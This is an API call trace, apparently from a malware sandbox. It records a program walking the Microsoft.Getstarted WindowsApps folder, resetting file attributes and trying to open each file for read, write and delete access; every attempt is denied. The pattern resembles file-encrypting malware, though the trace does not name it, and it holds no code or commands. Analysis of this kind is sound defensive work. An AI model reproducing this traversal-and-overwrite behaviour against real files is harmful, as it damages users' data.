	[0082.247] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.249] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.253] GetLastError () returned 0x5
	[0082.253] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb168) returned 1

Thread:
	id = 917
	os_tid = 0x13b0

	[0082.256] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.258] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.260] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.261] GetLastError () returned 0x5
	[0082.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eacb8) returned 1

Thread:
	id = 918
	os_tid = 0x1380

	[0082.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773ef0
	[0082.264] wcscpy (in: _Dest=0x4773ef0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0082.264] wcscat (in: _Dest=0x4773ef0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0082.264] wcscat (in: _Dest=0x4773ef0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*"
	[0082.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47135b0
	[0082.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab549f27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6c10
	[0082.266] wcscmp (_String1=".", _String2=".") returned 0
	[0082.266] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab549f27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.267] wcscmp (_String1="..", _String2=".") returned 1
	[0082.267] wcscmp (_String1="..", _String2="..") returned 0
	[0082.267] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0082.267] wcscmp (_String1="GetStartedAppList.scale-200.png", _String2=".") returned 1
	[0082.267] wcscmp (_String1="GetStartedAppList.scale-200.png", _String2="..") returned 1
	[0082.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2d5af20
	[0082.267] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0082.267] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0082.267] wcscat (in: _Dest=0x2d5af20, _Source="GetStartedAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png"
	[0090.769] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200.png")) returned 0x20
	[0090.772] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.772] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.772] GetLastError () returned 0x5
	[0090.772] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.772] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedAppList.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.773] wcscmp (_String1="GetStartedAppList.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.773] wcscmp (_String1="GetStartedAppList.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc8c8
	[0090.773] wcscpy (in: _Dest=0x4ebc8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.773] wcscat (in: _Dest=0x4ebc8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.773] wcscat (in: _Dest=0x4ebc8c8, _Source="GetStartedAppList.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png"
	[0090.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-black.png")) returned 0x20
	[0090.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.773] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.773] GetLastError () returned 0x5
	[0090.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0090.773] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedAppList.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.773] wcscmp (_String1="GetStartedAppList.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.773] wcscmp (_String1="GetStartedAppList.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebca00
	[0090.773] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.773] wcscat (in: _Dest=0x4ebca00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.773] wcscat (in: _Dest=0x4ebca00, _Source="GetStartedAppList.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png"
	[0090.774] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-white.png")) returned 0x20
	[0090.774] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.774] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.774] GetLastError () returned 0x5
	[0090.774] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0090.774] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedLargeTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.774] wcscmp (_String1="GetStartedLargeTile.scale-200.png", _String2=".") returned 1
	[0090.774] wcscmp (_String1="GetStartedLargeTile.scale-200.png", _String2="..") returned 1
	[0090.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771ab8
	[0090.774] wcscpy (in: _Dest=0x4771ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.774] wcscat (in: _Dest=0x4771ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.774] wcscat (in: _Dest=0x4771ab8, _Source="GetStartedLargeTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png"
	[0090.774] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200.png")) returned 0x20
	[0090.777] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.777] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.777] GetLastError () returned 0x5
	[0090.777] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771ab8) returned 1
	[0090.777] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedLargeTile.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.777] wcscmp (_String1="GetStartedLargeTile.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.778] wcscmp (_String1="GetStartedLargeTile.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc2b0
	[0090.778] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.778] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.778] wcscat (in: _Dest=0x4ebc2b0, _Source="GetStartedLargeTile.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png"
	[0090.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-black.png")) returned 0x20
	[0090.778] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.778] GetLastError () returned 0x5
	[0090.778] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.778] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1553, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedLargeTile.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.778] wcscmp (_String1="GetStartedLargeTile.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.778] wcscmp (_String1="GetStartedLargeTile.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebcee0
	[0090.778] wcscpy (in: _Dest=0x4ebcee0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.778] wcscat (in: _Dest=0x4ebcee0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.778] wcscat (in: _Dest=0x4ebcee0, _Source="GetStartedLargeTile.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png"
	[0090.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-white.png")) returned 0x20
	[0090.782] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.782] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.782] GetLastError () returned 0x5
